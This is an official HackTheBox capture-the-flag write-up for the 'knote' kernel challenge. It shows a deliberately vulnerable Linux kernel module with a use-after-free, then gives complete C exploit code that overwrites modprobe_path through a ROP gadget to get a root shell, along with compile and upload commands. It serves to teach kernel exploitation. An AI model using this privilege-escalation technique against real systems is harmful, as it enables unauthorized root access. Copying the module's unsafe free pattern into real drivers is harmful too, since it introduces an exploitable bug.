



HACKTHEBOX



knote

22nd December 2022 / Document No.
D22.102.91

Prepared By: clubby789

Challenge Author(s): r4j

Difficulty: **Medium**

Classification: Official

Synopsis

knote is a Medium pwn challenge. Players must exploit a lack of validation in a Linux Kernel module in order to cause a Use-After-Free. They will then leverage this vulnerability to arbitrary write and achieve LPE.

Skills Required

- Basic kernel programming knowledge

Skills Learned

- Exploiting UAF to gain arbitrary write
- Leveraging arbitrary write for LPE

Solution

Source Code

The challenge consists of the following kernel module source code.

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "knote"
```

```

#define CLASS_NAME "knote"

MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");

// Declare a mutex which allows the module to ensure exclusive access while
using it
static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long
arg);

static int major;
static struct class *knote_class = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
    .unlocked_ioctl = knote_ioctl
};

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

struct knote *knotes[10];

void knote_encrypt(char * data, size_t len) {
    int i;
    for(i = 0; i < len; ++i)
        data[i] ^= 0xaa;
}

void knote_decrypt(char *data, size_t len) {
    knote_encrypt(data, len);
}

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;

```

```

if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
    return -EFAULT;
switch(cmd) {
    // Create a new `note` with the given size
    case KNOTE_CREATE:
        if(ku.len > 0x20 || ku.idx >= 10)
            return -EINVAL;
        char *data = kmalloc(ku.len, GFP_KERNEL);
        // Create a new `knote` to track the data pointer and length
        knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
        if(data == NULL || knotes[ku.idx] == NULL) {
            mutex_unlock(&knote_ioctl_lock);
            return -ENOMEM;
        }

        knotes[ku.idx]->data = data;
        knotes[ku.idx]->len = ku.len;
        if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            mutex_unlock(&knote_ioctl_lock);
            return -EFAULT;
        }
        knotes[ku.idx]->encrypt_func = knote_encrypt;
        knotes[ku.idx]->decrypt_func = knote_decrypt;
        break;
    case KNOTE_DELETE:
        if(ku.idx >= 10 || !knotes[ku.idx]) {
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
        }
        // Free the data and note object, nulling the pointer
        kfree(knotes[ku.idx]->data);
        kfree(knotes[ku.idx]);
        knotes[ku.idx] = NULL;
        break;
    case KNOTE_READ:
        // Copy the data from the `knote` to the user
        if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len)
        {
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
        }
        if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
            mutex_unlock(&knote_ioctl_lock);
            return -EFAULT;
        }
        break;
    case KNOTE_ENCRYPT:
        // Call the encryption function on the data, XORing it with 0xaa
        if(ku.idx >= 10 || !knotes[ku.idx]) {
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
        }
        knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]-
>len);

```

```

        break;
    case KNOTE_DECRYPT:
        // Call the decryption function on the data, XORing it with 0xaa
        if(ku.idx >= 10 || !knotes[ku.idx]) {
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
        }
        knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]-
>len);

        break;
    default:
        mutex_unlock(&knote_ioctl_lock);
        return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0,
DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

static void __exit exit_knote(void)
{
    device_destroy(knote_class, MKDEV(major, 0));
    class_unregister(knote_class);
    class_destroy(knote_class);
    unregister_chrdev(major, DEVICE_NAME);
}

module_init(init_knote);
module_exit(exit_knote);

```

Bug

Each note can be freed through the `KNOTE_DELETE` argument to `ioctl`. This properly frees the note and sets the pointer to `NULL`.

However, as it can be seen with `KNOTE_CREATE`:

```
if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
    kfree(knotes[ku.idx]->data);
    kfree(knotes[ku.idx]);
    mutex_unlock(&knote_ioctl_lock);
    return -EFAULT;
}
```

if `copy_from_user` fails while copying the user-data to the note, the note data and the knote structure gets freed, but the pointer is not cleared. This can be used as a use-after-free.

`copy_from_user` will fail with `-EFAULT` if an unmapped userspace address is passed.

Exploitation

To exploit this use-after-free, we can try to control the `knote` structure and overwrite the `encrypt_func` function pointer. The size of the knote struct is `0x20`, which is also the maximum size we can allocate for a note. The use-after-free allows us to allocate an `0x20`-sized buffer which the `knote` array will be pointing to, allowing us to arbitrarily modify the pointers and size of a `knote` object.

We can overwrite the `encrypt` function to a gadget of the format `mov qword ptr [rdi], rsi; ret`. Calling the `encrypt` function would then be equivalent to

```
*(uint64_t*)knote.data = (uint64_t)knote.len;
```

As we control the `data` and `len` fields, this allows us to write up to 8 bytes to an arbitrary kernel address. As KASLR is off, we can immediately target `modprobe_path` - this is a common target, as it holds the path of a binary or script that the kernel will execute as root whenever it attempts to execute an unknown binary format, which we can trigger easily.

Exploit Writing

We'll begin by preparing the many header imports required, and defining the constants and functions used by the driver.

```
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
```

```

#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
} ku;

// fd of the driver
int fd;
// Helper functions

int64_t allocate(unsigned long idx, char * data, size_t len) {
    ku.idx = idx;
    ku.data = data;
    ku.len = len;
    return ioctl(fd, KNOTE_CREATE, &ku);
}

int64_t delete(unsigned long idx) {
    ku.idx = idx;
    return ioctl(fd, KNOTE_DELETE, &ku);
}

char *kread(unsigned long idx, size_t len) {
    ku.idx = idx;
    ku.data = calloc(1, len);
    ku.len = len;
    memset(ku.data, 'A', len);
    if(ioctl(fd, KNOTE_READ, &ku))
        puts("kread failed");
    return ku.data;
}

int64_t encrypt(unsigned long idx) {
    ku.idx = idx;
    return ioctl(fd, KNOTE_ENCRYPT, &ku);
}

```

```
int64_t decrypt(unsigned long idx) {
    ku.idx = idx;
    return ioctl(fd, KNOTE_DECRYPT, &ku);
}
```

We'll now begin our exploit code, beginning by opening the driver.

```
int main(void) {
    fd = open("/dev/knote", 0);
    if(fd < 0)
        return puts("failed to open char device");
    printf("fd: %d\n");
}
```

We'll allocate several 0x20 sized chunks. This will exhaust the free list for `kmalloc-32`, making our exploit more predictable.

```
for(int i=0; i<0x100; ++i)
    allocate(0, buf, 0x20); // empty freelist for kmalloc-32
```

We'll prepare our kernel addresses and place them in our payload.

```
// KASLR is off, so we know the location of these items.
const uint64_t modprobe_path = 0xffffffff81837bc0;

// mov qword ptr [rdi], rsi
const mov_qword_ptr_rdi_rsi = 0xffffffff810532f4;
uint64_t payload[] = {
    modprobe_path, // *data
    *(uint64_t*)"/tmp/x", // len. This data is under 8 bytes so we can fit
    it in a `uint64_t` variable
    mov_qword_ptr_rdi_rsi, // encrypt_func
    NULL
};
```

We can now trigger the Use-After-Free, by allocating a note with an invalid user address.

```
allocate(0, 0xdeadbeef, 0x20); // Allocate a note then free it, as
0xdeadbeef is an invalid address so the copy will fail
allocate(1, payload, 0x20); // Allocate a second note. The data portion of
this will overlap with the freed knote object pointed to
// by knotes[0]. Our data will then be copied in, overwriting the fields
encrypt(0); // calls mov_qword_ptr_rdi_rsi gadget and overwrites
modprobe_path
```

`modprobe_path` should now be overwritten. When a binary with invalid magic bytes (e.g. `\xff\xff\xff\xff`) is executed, the kernel will make use of `modprobe` to try and find a driver that can handle it. Overwriting this path allows us to control a path that will be executed with root permissions.

```
void trigger_modprobe() {
```

```

        system("echo '#!/bin/sh' > /tmp/x; echo 'setuid cttyhack setuidgid 0
/bin/sh' >> /tmp/x");
        system("chmod +x /tmp/x");
        int ff = open("/tmp/ffff", O_WRONLY|O_CREAT);
        write(ff, "\xff\xff\xff\xff", 4);
        close(ff);
        system("chmod 777 /tmp/ffff; /tmp/ffff");
        system("sh");
    }

/* ... */
int main() {
    /* .. */
    trigger_modprobe();
}

```

We're now ready to compile our binary and upload it to the server to get root. We can use `musl-gcc -s -static exploit.c -o exploit` to compile it with a minimal static library and strip it - this will reduce the size. making it easier to upload.

We can upload it by converting it to base64 (`base64 exploit`), then on the server:

```

cat <<EOF | base64 -d > exploit
<paste base64>
EOF

chmod +x exploit
./exploit

```